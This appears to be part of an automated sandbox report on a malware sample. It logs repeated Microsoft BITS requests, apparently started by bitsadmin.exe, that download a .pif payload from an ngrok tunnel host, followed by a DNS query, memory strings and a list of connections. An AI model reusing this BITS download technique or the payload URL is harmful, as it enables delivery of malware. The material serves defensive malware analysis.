Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=18222-18426User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=18427-18657User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=18658-18891User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=18892-19602User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=19603-19781User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=19782-19965User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=19966-20098User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=20099-20817User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=20818-20991User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=20992-21233User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=21234-21546User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=21547-21709User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=21710-21857User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=21858-22076User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=22077-22244User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=22245-22397User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=22398-22561User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=22562-22702User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=22703-22727User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=22728-22860User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=22861-23044User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=23045-23212User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=23213-23382User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=23383-23554User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=23555-23641User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=23642-23661User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=23662-23802User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=23803-24121User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=24122-24280User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=24281-24371User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=24372-24573User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=24574-24682User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=24683-24817User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=24818-24927User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=24928-25104User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=25105-25298User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=25299-25507User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=25508-25699User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=25700-25867User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=25868-25996User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=25997-26009User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=26010-26263User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=26264-26487User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=26488-26595User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=26596-26701User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=26702-26811User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=26812-27197User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=27198-27307User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=27308-28017User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=28018-28277User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=28278-28316User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=28317-28877User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=28878-29100User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=29101-29210User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=29211-29280User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=29281-29298User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=29299-29820User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=29821-30498User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=30499-31048User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=31049-31297User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=31298-32077User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=32078-32145User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=32146-32257User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=32258-32275User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=32276-32551User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=32552-32576User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=32577-32715User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=32716-32924User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=32925-33137User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=33138-33347User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=33348-33423User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=33424-33733User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=33734-33838User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=33839-33948User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=33949-34341User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=34342-34482User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=34483-34673User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=34674-34733User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=34734-34758User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=34759-34994User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=34995-35282User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app
Source: global traffic	HTTP traffic detected: GET //BITZX.pif HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMTRange: bytes=35283-35527User-Agent: Microsoft BITS/7.8Host: 090125.ngrok-free.app

Source: global traffic

DNS traffic detected: DNS query: 090125.ngrok-free.app

Source: svchost.exe, 00000003.00000002.12234369370.00000280A9EDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: svchost.exe, 00000003.00000002.12234520923.00000280A9F36000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000003.00000002.12234369370.00000280A9EDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: svchost.exe, 00000003.00000002.12230729358.00000280A82F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: edb.log.3.dr, qmgr.db.3.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/update2/actxsdodvxbjblyjfcbcbc7srcwa_1.3.36.242/GoogleUpda
Source: qmgr.db.3.dr	String found in binary or memory: http://r4---sn-5hnekn7k.gvt1.com/edgedl/release2/chrome/acb3kitere6jimdp6rrtasanb2aq_93.0.4577.82/93
Source: qmgr.db.3.dr	String found in binary or memory: http://redirector.gvt1.com/edgedl/release2/chrome/acb3kitere6jimdp6rrtasanb2aq_93.0.4577.82/93.0.457
Source: qmgr.db.3.dr	String found in binary or memory: http://redirector.gvt1.com/edgedl/release2/chrome_component/aciwgjnovhktokhzyboslawih45a_2700/jflook
Source: qmgr.db.3.dr	String found in binary or memory: http://redirector.gvt1.com/edgedl/release2/chrome_component/acze3h5f67uhtnjsyv6pabzn277q_298/lmelgle
Source: qmgr.db.3.dr	String found in binary or memory: http://redirector.gvt1.com/edgedl/release2/chrome_component/dp66roauucji6olf7ycwe24lea_6869/hfnkpiml
Source: qmgr.db.3.dr	String found in binary or memory: http://storage.googleapis.com/update-delta/ggkkehgbnfjpeggfpleeakpidbkibbmn/2021.9.13.1142/2021.9.7.
Source: qmgr.db.3.dr	String found in binary or memory: http://storage.googleapis.com/update-delta/jamhcnnkihinmdlkakkaopbjbbcngflc/96.0.4648.2/96.0.4642.0/
Source: qmgr.db.3.dr	String found in binary or memory: http://storage.googleapis.com/update-delta/khaoiebndkojlmppeemjhbpbandiljpe/45/43/19f2dc8e4c5c5d0383
Source: svchost.exe, 00000003.00000002.12234369370.00000280A9EDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.quovadis.bm0
Source: svchost.exe, 00000003.00000002.12229537723.00000280A8283000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://090125.ngrok-free.app/
Source: svchost.exe, 00000003.00000002.12231787379.00000280A8B13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000003.00000003.10388556262.00000280B2058000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000003.00000002.12234369370.00000280A9EDD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000003.00000002.12232093015.00000280A9700000.00000004.00000800.00020000.00000000.sdmp, edb.log.3.dr	String found in binary or memory: https://090125.ngrok-free.app//BITZX.pif
Source: bitsadmin.exe, 00000001.00000002.12226117600.000001DEFE770000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://090125.ngrok-free.app//BITZX.pifC:
Source: svchost.exe, 00000003.00000002.12228606338.00000280A8241000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://090125.ngrok-free.app:443//BITZX.pif
Source: qmgr.db.3.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: qmgr.db.3.dr	String found in binary or memory: https://msftspeechmodelsprod.azureedge.net/SR/SV10-EV100/en-us-n/MV101/naspmodelsmetadata.xmlPC:
Source: svchost.exe, 00000003.00000002.12234369370.00000280A9EDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ocsp.quovadisoffshore.com0

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
